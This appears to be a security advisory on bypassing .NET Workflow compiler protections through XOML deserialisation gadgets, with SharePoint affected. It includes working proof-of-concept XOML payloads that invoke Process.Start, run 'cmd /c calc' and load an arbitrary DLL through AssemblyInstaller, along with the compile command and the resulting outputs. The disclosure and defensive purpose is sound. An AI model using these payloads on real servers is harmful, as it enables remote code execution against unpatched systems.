**Summary**
In the .NET Framework, workflows can be created by compiling an XOML file using the libraries within the `System.Workflow` namespace. The workflow compiler can use the `/nocode` and `/checktypes` arguments to stop execution of untrusted code. The `/nocode` is used to disallow the code-behind model that checked the workflows on the server-side to ensure they do not contain any code. The second argument is used to only allow whitelisted types from the configuration file.
All these protection mechanisms could be bypassed by exploiting a deserialisation issue similar to CVE-2018-8284 that was reported previously (https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/).
**Location**
The `Microsoft (R) Windows Workflow Compiler` tool was used as a proof of concept to compile the following XOML files in order to execute code or commands. This tool was used with `/nocode /checktypes` in order to show that code could still be executed:
```
wfc test.xoml /nocode:+ /checktypes:+
```
Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time on finding a way to load arbitrary namespaces.
**Impact**
Low privileged SharePoint users by default have access to their personal sites and can create workflows for themselves. Therefore, authenticated users of SharePoint could potentially execute commands on the server similar to https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/.
Other applications that compile XOML files are also susceptible to code execution.
**Details**
In order to provide examples to exploit this vulnerability, a number of gadgets were used based on the whitepaper written by Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th JSON Attacks (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf).
###### **Example 1 – using ObjectDataProvider**
The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: `System.Diagnostics.Process.Start()`) without passing any parameters:
```
<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<Rd:ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:Rd="clr-namespace:System.Windows;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:ODP="clr-
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"
MethodName="Start">
</ODP:ObjectDataProvider>
</Rd:ResourceDictionary>
</SequentialWorkflowActivity>
```
By compiling the above file or by sending it to a SharePoint server, the following error message was received showing the code was executed:
```
Cannot start process because a file name has not been provided
```
Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.
###### **Example 2 – using WorkflowDesigner**
The following XOML file could execute a command to open calculator during compile time:
When the class name was invalid, the code was executed twice despite having an error:
```
<SequentialWorkflowActivity x:Class="INVALID!" x:Name="foobar"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<sap:WorkflowDesigner
PropertyInspectorFontAndColorData="<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c calc </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>"
xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
>
</sap:WorkflowDesigner>
</SequentialWorkflowActivity>
```
When the class name was valid, the code was executed once but with an error:
```
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<sap:WorkflowDesigner
PropertyInspectorFontAndColorData="<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c calc </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>"
xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
>
</sap:WorkflowDesigner>
</SequentialWorkflowActivity>
```
Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with `/nocode /checktypes` flags), it showed the following error message when tested in SharePoint:
```
The type or namespace name 'Presentation' does not exist in the namespace 'System.Activities' (are you missing an assembly reference?)
```
###### **Example 3 – using AssemblyInstaller:**
The following example shows another deserialisation gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies.
```
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobarx"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<sci:AssemblyInstaller Path="c:\path\Source.dll" xmlns:sci="clr-namespace:System.Configuration.Install;assembly=System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
</sci:AssemblyInstaller>
</SequentialWorkflowActivity>
```
The above payload did not work in SharePoint as it could not find the namespace.
**Recommendation**
Apply the September 2018 Microsoft patch.
**Vendor Communication**
```
17/05/2018 Reported to Microsoft
17/05/2018 Case number assigned by Microsoft
11/09/2018 Patch was released
13/09/2018 Microsoft was contacted to check whether the reporter could publish the details
24/09/2018 Microsoft asked for more time before releasing the details to fix some crashes caused by the fix
02/11/2018 Permission granted from Microsoft to publish the details
```
京公网安备 11010502034610号
暂无评论